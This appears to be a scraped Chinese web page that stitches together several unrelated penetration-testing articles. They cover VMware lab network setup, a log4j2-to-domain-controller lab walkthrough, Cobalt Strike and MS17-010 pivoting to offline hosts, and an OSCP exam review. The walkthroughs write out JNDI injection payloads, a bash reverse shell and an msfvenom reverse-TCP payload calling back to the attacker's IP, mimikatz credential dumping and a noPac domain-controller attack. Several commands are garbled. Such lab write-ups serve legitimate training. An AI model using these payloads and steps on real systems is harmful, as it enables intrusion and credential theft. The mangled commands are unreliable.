dc3靶机渗透-靶机渗透测试论文

hacker|
226

虚拟机玩渗透 目标虚拟机 需要怎么设置网络

VMWare虚拟机搭建渗透测试的网络环境

1. 问题的提出

通过虚拟机运行Kali Linux或者OWASP WTE,需要靶机来进行渗透测试的学习和研究。比较简单的方式是,靶机也作为虚拟机运行;在渗透机与虚拟机之间建立专门的网络连接。

使用VMWare提供的LAN区段(LAN Segament)是个简单、快捷的解决方案。

2. 步骤说明

设置LAN区段 - 在VMWare中

靶机和渗透机的虚拟机设置 - 在VMWare中

靶机和渗透机的系统网络设置 - 虚拟机内部

2.1 LAN区段(LAN Segament)设置

在VMWare Workstation中,打开目标虚拟机的“虚拟机设置”标签,点选“LAN区段”,如下图:

![点击这里的"LAN区段"按钮]()

点击之后,

+ 如果没有设置过LAN区段,则新建一个LAN区段

+ 如果已经设置过,则选择目标所在的LAN区段

2.2 渗透机/靶机虚拟机设置

在完成了上述LAN区段设置后,虚拟机的网络连接模式设置为“LAN区段”,并选择上述设置的具体区段。

虚拟机和靶机的**设置方法相同**。

2.3 渗透机/靶机的系统设置

进入虚拟机系统内部,需要手动指定IP地址,确保渗透机和靶机在同一网段内。

虚拟机和靶机的**设置方法相同**。

Windows的设置比较简单。

+ 对于没有图形界面的Linux,手动设置方法如下:

1. 关闭网卡,目的在于**清除之前的网络设置**

precode$ ifconfig eth0 down/code/pre

2. 设置新的IP地址等信息,并启动网卡

precode$ ifconfig eth0 192.168.xx.123 netmask 255.255.255.0 up/code/pre

注意,这里最后的up是启动网卡的意思

3. 设置网关gateway,需要使用route命令

precode$ route add default gw 192.168.xx.1

+ 对于有图形界面的Linux,有时候会出现Network Manager显示"device not managed"的情况,特别是在Debian或者Kali底下。

1. 问题是因为同时满足以下条件:

(1) /etc/network/interface文件中包括目标设备(网卡);

(2) /etc/NetworkManager/NetworkManager.conf中没有设定自动管理。

2. 问题解决方法:

(1) 在/etc/NetworkManager/NetworkManager.conf中,设置managed=true

(2) 重启network manager:

precode$service network-manager restart/code/pre

记一次log4j2引发的渗透测试

记一次log4j2打入内网并用CVE-2021-42287、CVE-2021-42278获取到DC权限的靶场渗透。

首先对web进行端口扫描,发现38080端口和22端口

访问一下38080端口发现是一个error page

用Wappalyzer看一下是什么架构,但是好像没有检测出来

拿着报错去百度上发现应该是springboot

索性用goby再去扫一下,应该是spring没错,但是没有漏洞是什么操作?联想到最近出的log4j2的洞,可能他只是一个日志文件所以并没有框架

使用 payload=${jndi:ldap://p9j8l8.dnslog.cn} 验证一下有回显证明存在漏洞

尝试进一步利用漏洞,首先起一个ldap服务,ip为本地接收shell的ip地址

pre class="3a9a-9347-a9c6-09e5 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.1.105/pre

抓包修改 Content-Type: appllication/x-www-form-urlencoded ,并执行以下payload成功回显

pre class="9347-a9c6-09e5-6423 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"payload=${jndi: ldap://192.168.1.105:1389/TomcatBypass/TomcatEcho }/pre

执行 ls -al / 看一下也成功

nc开启监听端口

然后使用bash命令反弹,这里需要先base64编码然后对编码后的特殊字符进行2层url转码

pre class="a9c6-09e5-6423-8ffc md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"bash -i /dev/tcp/192.168.1.105/9999 01/pre

抓包添加 payload=${jndi:ldap:1/192.168.1.105:1389/TomcatBypass/Command/Base64/二层转码之后的字符} ,即可得到反弹shell

进行信息搜集发现为docker环境,这里尝试了docker逃逸失败,那么继续进行信息搜集

在根目录下找到了第一个flag,这里有一个 got this ,在之前端口扫描的时候看到开放了22端口,尝试使用ssh直接连接

使用xshell尝试连接

连接成功,拿到了宿主机的权限

ifconfig查看网卡情况发现还有一张10.0.1.0/24段的网卡

这里方便的话其实可以使用cs上线linux后用cs继续打,这里我就没有上线cs,使用linux的命令对10.0.1.0/24段探测存货主机

pre class="09e5-6423-8ffc-f538 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;" for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 i Find the target; fi; done/pre

ping一下是存活的

使用毒液把流量代理出来,首先开启监听

pre class="f289-e003-e2b3-0b3e md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"admin.exe -lport 7777/pre

然后上传agent_linux到靶机上

加权并执行

pre class="e003-e2b3-0b3e-5df1 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"chmod 777 agent_linux_x86

agent_linux_x86 -rhost 192.168.1.105 -rport 7777/pre

连接成功

这里本来准备用毒液的代理到msf打的,后面觉得比较麻烦,就直接用kali生成的elf马上线msf了

首先生成一个32位的elf马

pre class="e2b3-0b3e-5df1-c7fe md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf shell.elf/pre

然后加权并执行

pre class="0b3e-5df1-c7fe-acdd md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"chmod 777 shell.elf

./shell/pre

kali使用 exploit/multi/handler 进行监听

获取到宿主机的shell

然后添加10.0.1.0/24段的路由

pre class="5df1-c7fe-acdd-b332 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"bg

route add 10.0.1.0 255.255.255.0 1

route print/pre

然后配置 proxychain4.conf 文件并使用socks模块

pre class="c7fe-acdd-b332-a844 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"search socks

use auxiliary/sevrer/socks_proxy

run/pre

我们在之前已经知道了内网主机的ip,那么这里我们直接使用proxychain配合nmap对10.0.1.7的端口进行扫描

pre class="acdd-b332-a844-c6bd md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"proxychains4 nmap -sT -Pn 10.0.1.7/pre

发现有445端口,那么对445端口进一步扫描

先确定一下系统版本,使用 auxiliary/scanner/smb/smb_version 模块,发现是win7 sp1

看能不能利用永恒之蓝,这里使用到 auxiliary/scanner/smb/smb_ms17_010 模块,发现可以利用永恒之蓝

使用 exploit/windows/smb/ms17_010_eternalbule 模块,因为是不出网环境,这里需要用到 bind_tcp 载荷

run之后拿到一个system权限的meterpreter

在 C:\Users\root\Desktop 下拿到第二个flag

然后继续进行信息搜集,发现同样是双网卡,还存在10.0.0.0/24段的一张网卡

ipconfig /all看到dns服务器为 redteam.lab 应该在域内

这里ping一下 redteam.lab 得到域控的ip为10.0.0.12

这里不知道域控有什么洞,先上传一个mimikatz把密码抓取出来,得到 Administrator/Admin12345 ,这里其实就可以使用域管账户ipc直接连接,但是这里抓到了一个域用户,尝试使用最新的CVE-2021-42287、CVE-2021-42278来进行攻击,关于漏洞的原理请 移步

pre class="b332-a844-c6bd-485b md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"privilege::debug

sekurlsa::logonpasswords/pre

这里我准备使用noPac.exe直接去获取一个shell的,但是这里noPac.exe的利用条件是需要主机上有.net4.0环境,所以这里没有回显

本来准备一步一步的用原始的方法打的,但是powershell用不了没有回显,就写一下原始利用的步骤吧

这里直接使用 sam_the_admin.py 进行攻击

pre class="a844-c6bd-485b-3a9a md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell/pre

即可拿到DC的shell

在 C:\Users\Administrator\Desktop 下找到最后一个flag

内网渗透--对不出网目标的打法

配置网络

在VM虚拟机中按照下边的网络拓扑进行配置网络。网络拓扑图如下:

win7具有双网卡,其中外网ip是192.168.8.133,内网网段是52。三台机器彼此互通,但是win server 2008和win2003不通外网。用我mac作为攻击机,来对这个靶场环境进行渗透测试。

外网打点

在win7这台靶机上,使用PHPStudy让网站可以运行起来。在攻击机上,访问   可以看到是一个phpStudy 探针。对这网站进行渗透,因为本文主要写在内网渗透过程中对不出网主机的渗透,所以此处外网打点就不写的很详细了。

针对此靶场进行外网渗透拿权限大致有这几种方法:

通过phpmyadmin弱口令,进入phpmyadmin后台。然后知识点就变成了,通过phpmyadmin进行getshell,这个点又分为,得到网站绝对路径后,使用select into outfile的方式写shell和利用日志写shell。在此处,我是使用日志写shell的方法拿到权限。因为secure_file_priv配置为null,禁止修改目录下的文件,也就不能使用into outfile的方式写入shell。

通过目录扫描可以扫出beifen.rar,备份文件。在源码中可以找到登陆后台的账号密码:admin/123456和登陆路径/index.php?r=admin,在前台模板文件中添加一句话木马连接也可获取shell。

获得webshell的信息收集

通过外网打点获得的webshell,可以进行一波信息收集,摸清我是谁?我在哪?有没有内网环境?有没有杀软?通过拿到webshell后的信息收集的结果来评估一下有没有必要继续深入或者初步了解继续深入的话需要哪些手段。

我是谁?

蚁剑已经给出基础信息

我在哪?

使用ipconfig /all 看一下网络信息

目标有两个网卡,并且存在域环境,那么就有打它内网的必要了。

有没有杀软?

tasklist查看一下进程信息

根据进程查一下是否有杀软

目标没有使用杀软,还有域环境那么让它直接cs上线。

内网渗透

cs上线

内网信息收集

信息收集每个人都有自己的习惯,信息收集的顺序和信息收集的项目也都不太一样,只要根据自己的习惯和嗅觉,针对目标具体情况进行收集,以求尽快的拿下目标就好。信息收集的越全面突破口也就会越多,考虑到篇幅和文章内容匹配度等因素,此处并没有写出大量信息收集方法。

使用cs自带的net view查看域信息。

使用cs自带功能进行端口扫描,分别对8和52两个网段进行扫描进行完这两个步骤以后,cs会把扫到的目标列出来。

因为拿到的是管理员权限,可以先抓一波密码。用 cs 的 hashdump 读内存密码,用 mimikatz 读注册表密码:logonpasswords。

此处打码的地方是因为配置靶机登陆时靶机提示重置密码,我给靶机改了个包含个人信息的密码。蠢哭。拿到密码后,目标主机没有开启防火墙,可以使用cs自带的psexec做一波横向,因为抓到很多域中机器密码,域控密码也抓到了。

内网横向(通过登录凭证)

这个靶机设置的比较简单,抓到密码后,因为抓到了域控登陆的凭证,那么使用psexec即可横向内网所有机器。因为,另外两台内网的机器不出网,那么就到了本文着重练习的点了,打不出网的机器。

不出网机器上线一般有以下几种方式:

使用smb beacon

配置listener通过HTTP代理上线

使用pystinger搭建socks4代理

这几种方式之前有师傅也在先知写过 《不出网主机上线方法》 。此处我采用的SMB beacon这个方法。

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload 上线。

首先得到内网中一台主机的beacon,抓取密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用Smb beacon使目标主机上线

使用条件

具有 SMB Beacon 的主机必须接受 445 端口上的连接。

只能链接由同一个 Cobalt Strike 实例管理的 Beacon。

利用这种beacon横移必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。

使用方法:

1.建立smb的listener

2.在cs中使用psexec进行横向移动,选择现有的beacon作为跳板,这里凭据必须是administrator ,即拥有目标主机管理员权限

3.连接成功,可以看到smb beacon上线的主机右侧有∞∞标识

使用这种方法上线的机器,主要是通过出网机作为一个中间人,不出网主机成功上线后,如果出网机一断开,这个不出网主机也会断。

内网横向(通过ms-17010)

在拿下win7的时候,可以给它传一个fscan,给win7做一个内网大保健。上传fscan后,运行扫一下内网。

发现存在ms17010。

ms17010常见的几种打法:

msf

ladon/ladon_ms17010

从msf分离出的exe

nessus里的exe

cs插件

这几种打法,我在这个环境中都做过尝试。过程就不一一叙述了,直接说我测试的结果。msf是最稳定的,但是打起来有稍许的麻烦因为要设置监听模块和选择攻击模块等配置。ladon_ms17010方便但是不太稳有时候会打不成功。cs插件也不稳,并且在这种不出网网络不稳定的情况下成功率会变的更低。

这个图片的ip可能跟上边配置符不起来,因为我在测试过程中,网断过几次,ip就变了。所以,在打的时候,如果ladon和分离出的exe没有打成,不要轻易放弃,用msf在打打试试,毕竟工具就是工具,不能过分依赖某个工具。

在这种不出网的情况下,可以优先考虑使用从msf分离出的exe和ladon_ms17010来打,打成功会直接通过自定义的dll新建一个用户并加入管理员组,开启3389端口。根据实际情况,可考虑在合适的时间段和条件下直接远程登入,翻一下敏感数据,往往会因为运维人员的很多“好习惯”而给渗透带来很多便利,比如说“密码本.txt”。

msf打不出网机器的ms17010

msf在单兵作战的时候还是很稳定很香的。首先,让出网机器先在msf上线,可以用cs直接传递会话,或者生成个msf马直接运行一下。在这的方法就很多了。win7在msf上线后,因为我们已经提前知道了,存在52这个不出网的段,那么就需要在msf中添加路由。

查看路由

run get_local_subnets

添加路由

run autoroute -s 192.168.52.0/24

查看添加的路由

run autoroute -p

把shell切换到后台,然后使用ms17010模块进行漏洞利用,监听时使用正向监听,即可

小贴士:

漏洞检测方法:

use auxiliary/scanner/smb/smb_ms17_010

之后设置一下目标ip和线程即可,这里因为已经扫出存在漏洞的机器了,也就不在叙述。

漏洞利用常使用的是:

auxiliary/admin/smb/ms17_010_command

exploit/windows/smb/ms17_010_eternalblue

exploit/windows/smb/ms17_010_psexec

这里的第一个和第三个模块需要目标开启命名管道,并且比较稳定。第二个模块只要存在漏洞即可,但是会有概率把目标打蓝屏,而且杀软拦截也会比较严格,如果有杀软就基本可以放弃这个模块了。

在打ms17010的时候,不妨使用auxiliary/admin/smb/ms17_010_command模块探测一下是否可以使用命名管道。

use auxiliary/admin/smb/ms17_010_commandsetrhosts192.168.164.156192.168.164.161setcommandtasklistshow optionsrun

如果命令执行成功的话就可以优先考虑

auxiliary/admin/smb/ms17_010_commandexploit/windows/smb/ms17_010_psexec

这两个模块进行利用。

我在上边打得时候因为目标机器没有杀软就直接使用exploit/windows/smb/ms17_010_eternalblue来打了,期间为了测试打过多次,确实出现了把目标机器打重启的情况。

总结

这个靶场设计的技能点比较基础,外网打点获得shell后,直接可以通过cs上线,在管理员权限下,抓取密码,新建一个smb beacon然后使用psexec对内网两台不出网的机器进行横向。

2022 OSCP Exam Review

上周五我参加了OSCP(Offensive Security Certified Professional,进攻性安全认证专家)考试,并于周六提交了考试报告,就在周日晚上大概十二点,我收到了来自offsec的邮件,通知我已经通过了认证。

我最终解决了AD的三台机器+两台独立机器的完全控制权限+另一台机器的初始shell。另外我还做完了课本习题和lab里的超过10台机器的报告,如果所有报告都没有被扣分的话,我最后的成绩应该是90+10分。

我大概花了一年多的时间去准备这个考试,期间有过很多困惑,踩过许多坑,我在学习的过程当中受到过很多人的启发,因此现在我也想写一篇学习回顾,以(希望能够)帮助那些当初和我一样不知道如何入门的学员,如果你是渗透测试的大佬,那么这篇东西只是浪费你的时间,因为它真的很基础。

我本职工作是一个程序员,此前没有任何渗透测试经历,当时的我知道nmap是扫描器,kali是专门做渗透测试的,但没怎么用过,说是零基础也不为过。因为出于兴趣我想系统学习渗透测试,就在一年多以前我知道了OSCP这个认证,那时候我想以考促学,并且OSCP学费还挺贵的,我觉得这样或许能push自己一把。我没有一开始就报名,我记得当时我注册了offsec的账号,为了了解购买流程我还下了一个订单,但是没有付款。然后过了没多久,新加坡的David就打了一个越洋电话给我,问我是不是有兴趣学习,还说可以给我申请一个很优惠的折扣。我说我对于这个东西完全是零基础,我可能现在还不合适去报名。然后David说没关系,还建议我先到HTB打打靶机学习。应该说这还是挺良心的,不会让一个0基础的人盲目去报名。事实证明,延迟报名的决定非常正确,如果你像我当初一样对渗透是零基础,那建议还是补一下基础知识,我后面会分享到我当初遇到的那些我感觉很好的课程和平台。

众所周知,OSCP在2022年1月初启用了新版本的考试结构。

旧版本的考试结构:

1台简单机器 10分

2台中等机器 20分x2

2台困难机器 25分x2,其中一台为bof题,必出,圈内评价是送分题。

总分达到70分通过考试,完成所有课后练习+10台lab报告可以另外+5分

新版本的考试结构:

AD包含3台机器,总共40分,只有攻入DC才有分,没有过程分,也就是要么40分全拿,要么0分。

3台独立机器,每台20分,bof题不是必出,而且需要提权。

完成所有课后练习+10台lab报告(包含4台域机器)可以另外+10分

总分也是达到70分通过考试。

应该说新版本考试结构难度增加了不少。

我在考试之前在各个平台打了一些靶机,我后来统计了一下:

TryHackMe:53

OSCP LAB:75

HTB:60

PG:40

vulnhub:11

我认为TryHackMe是很好的专题学习平台,以及是很好的基础学习平台,但是我不推荐打太多里面的靶机,因为他们多数都是CTF形式,与OSCP相去甚远。从技术的角度,一个零基础学员从任何方向出发当然都是进步,但是从考试的角度,我们还是要有的放矢,毕竟时间也是资源。

我完成了TryHackMe里的 Complete Beginner , Offensive Pentesting , CompTIA Pentest+ 三个路径,这三个路径的学习让我对渗透测试有了一个初步的了解。我非常建议初学者跟着这些路径学习。而且TryHackMe非常良心,他的很多房间都是免费的,就算续费每个月也只是需要10美元。这个花费对于你将可以学到的知识来说简直是不值一提。

后面TryHackMe又出了好几个学习路径,我现在还没有去做,在这里不评价,我想我后面有时间会去做一下。

我在今年三月份报的名,报的是两个月的课程。需要注意的是,今年4月以后OSCP只有三个月的课程了,价格是1499美元。

我在第一个月完成了课本上的所有习题以及打了40台靶机,在第二个月我完成了剩下的35台靶机。这两个月可以说是我目前人生最累的两个月,几乎每天下班以后我都要肝到晚上一两点,第二天还要上班。这期间有痛苦,有绝望,有焦虑同时也是收获满满。OSCP之旅绝对是一个折磨之旅,我看到有朋友的评论是"比高考还累"。

OSCP Lab是一个多级的网络,它外网有40台左右的机器,但是我觉得它最有意思的是内网,有些内网你还需要转发多次才能访问。这样的靶机环境一般在其他平台很少遇到,因此会是一个很不错的学习体验。我看到有些早期的学员说内网很卡,我这边觉得还好,可能是offsec后来升级了OSCP LAB的网络。但是我自己为备考也拉了一条300M的网线,以及买了一个美国节点的vps,整个OSCP Lab的旅程中我觉得网络非常舒服。

这里有一个小技巧,我不知道这算不算offsec的一个bug,OSCP Lab其实是有多个节点的,而且同样的vpn可以登录不同的节点,我一般扫描探测和爆破的时候用的是美国的vps(跟lab的延时大概是10ms以内),其他手动的枚举或者拿shell时用的是本地kali机。需要注意,因为lab各个节点是独立的,在美国vps触发的rev shell,在本地kali是接收不到的。但是vps可以省去你很多探测和爆破的时间。

鉴于OSCP现在只有3个月lab time的选择,这是绝对够时间打完OSCP所有lab的。关于什么时候应该去论坛看hint,我的理解是,当你觉得你已经穷尽了你目前所知道的所有方法和技巧还是没有进度,那就去看。我认为不必去忌讳看hint这个东西,你就是来学习的,不懂很正常,基本上你不可能去hack一个你完全不懂的东西。相反的,如果你都觉得OSCP Lab对你一点难度都没有,那么OSCP只是浪费你的时间,你应该去挑战更难的东西。

我强烈推荐这个HTB的OSCP vm like list,同时这也是很多OSCP前辈的一致推荐。如果你备考的时间有限,我建议你就好好打一下这个list里面的机器。

这个是offsec的亲儿子,也有很多前辈推荐里面的机器作为OSCP的练习,考试里单机的难度大概相当于里面的中等难度机器。

vulnhub好像是被offsec收购了,好多机器都在PG里。我打的不多,感觉有些还是偏向CTF。。

我听说有人打了30多台就通过了OSCP考试,有的大佬打了400多台。。。我的理解是,越多越好,你在练习中踩的坑越多,在考试的时候才会越游刃有余,Practice make prefect。

官方有一个靶机数量与通过率的表格,打过的靶机数量和通过率是正相关的,这也符合人的直觉。

对比各个平台靶机的难度,我主观上的感觉是:HTB PG OSCP Lab

我觉得备考打这三个lab就够了

如果你实在备考时间有限,那推荐上面的1和3。

OSCP的教材和视频都是全英文的,你在备考中看到的所有文章,资料等等99%都会是英文,所以英文是逃不掉的。

我自己也是英语渣,但是好在计算机类的英语词汇固定,语法结构也简单,看多几次也就知道了,实在不懂还可以在线翻译嘛,所以在英语上不必有太大的压力。如果你实在很想学习,你总是会想得到办法的。

从你决定要开始OSCP之旅,无论以前你有没有记录笔记的习惯,从现在都要开始记录。开一个博客,或者自己记录一份文档。

记录一切你遇到的东西,命令,技巧,原理,靶机wp。记完以后尝试去整理他们,反复阅读,这也是一个学习的过程,而且很重要。

这一年来我大概记了十几万字的笔记和wp,我习惯用markdown格式记录,这样我可以用sublime快速查找我想知道的一切记录过的东西。

我预定的是周五早上9点钟的考试,前一天晚上我还吃了安眠药睡觉,因为我习惯性焦虑,容易考试前失眠。好在那天我睡的还挺好。

我为考试准备了咖啡,巧克力,红牛,面包和一些饺子,整个考试期间我喝了三杯美式咖啡和一瓶红牛,这的确让我考试的时候异常亢奋,但是第二天我非常痛苦,完全没办法睡觉。

我用了6个小时完成了AD部分的内容,之后3个小时,我拿到了一台主机的完全控制权限。然后我又花了几个小时,拿到了一台单机的foothold,但是后面提权的部分,我在这台机器卡了很久,一直到凌晨一点,我跟监考人员说我太累了需要休息一下。然后我睡了大概一个多小时(其实也没睡着,因为我喝太多咖啡了),在凌晨两点我醒来,我决定先放一下那台机器的提权,再看看另外一台单机,从凌晨2点一直到早上6点,我完全卡死在这台机器的foothold里,然后我跟监考人员说我要休息一下,之后我躺在床上突然想到了一个点,于是马上起来验证,结果成功进入这台机器,此时距离考试结束还有两个多小时,我发现我唯一那次msf的机会还没用,于是我决定上msf,用了10分钟拿到了这台机器的system权限。我用剩下的时间补充了一些截图,然后结束了这个23小时45分钟的考试。

我在OSCP之前学习过CRTP的课程,老实说OSCP的AD部分的内容,无论广度和深度完全都比不上CRTP。但是我在这里不是说你在考OSCP之前要去考个CRTP,完全没有必要,而且我也没有过CRTP考试。。(T_T)。OSCP考试里ad方面的知识全都在教程里,没有任何超纲的东西。但是考试时ad部分难的可能是ad之外的东西。。。

关于考试,我的建议是每隔一两个小时,要起来喝水,走动一下,或者躺一下。就我做程序员的经验,我职业生涯中遇到的所有技术上能说的是难题的东西,要么是我躺在床上想到解决方法,要么是我走在路上想到的解决方法,但是绝对不会是坐在电脑前想到的。一旦卡住了就起来走走,放轻松。OSCP考试除了考验技术以外,我觉得很大一部分也是考验一个人的心理承受能力。因为这种24小时的考试真的是太变态了,如果心态崩了那本来很容易的东西可能会被你miss掉。

第二天我陆陆续续花了一天时间写完了报告,多数都是先写中文,然后放到deepl上去翻译的,我没有任何渗透测试工作经历,因此我不太知道一个合格的渗透测试报告应该是怎么样的,好在官方有个报告模板,我就按照那个模板来写。一直忙到当天晚上差不多12点,我提交了我的考试报告和练习报告。

以下是我备考过程当中遇到的一些我觉得很好的资源:

hacktricks :黑客圣经,你在备考中每天都应该会去翻阅它。

PayloadsAllTheThings :各种cheetsheet,和hacktricks有重合的地方,但是更侧重各种命令的记录,我弄rev shell的时候经常翻阅。

gtfobins :linux提权宝典。

bufferoverflowprep :最好的Buffer Overflow练习,专门为OSCP准备。

linux提权房间1 :tryhackme上的一个提权房间

linux提权房间2 :另外一个linux的提权房间,专门为OSCP制作,在 udemy 上有对应的视频课程。

windows提权房间 :上面提权系列的windows姐妹版,也是专门为OSCP制作,在 udemy 上有对应的视频课程。

what-to-do-with-new-oscp :老外整理的关于OSCP里AD部分的学习资源集锦。

hackingarticles :三哥整理的一个博客,有很多很好的思路和方法的介绍。

0xdf :0xdf的博客,HTB官方打lab人员,能学到很多技巧。

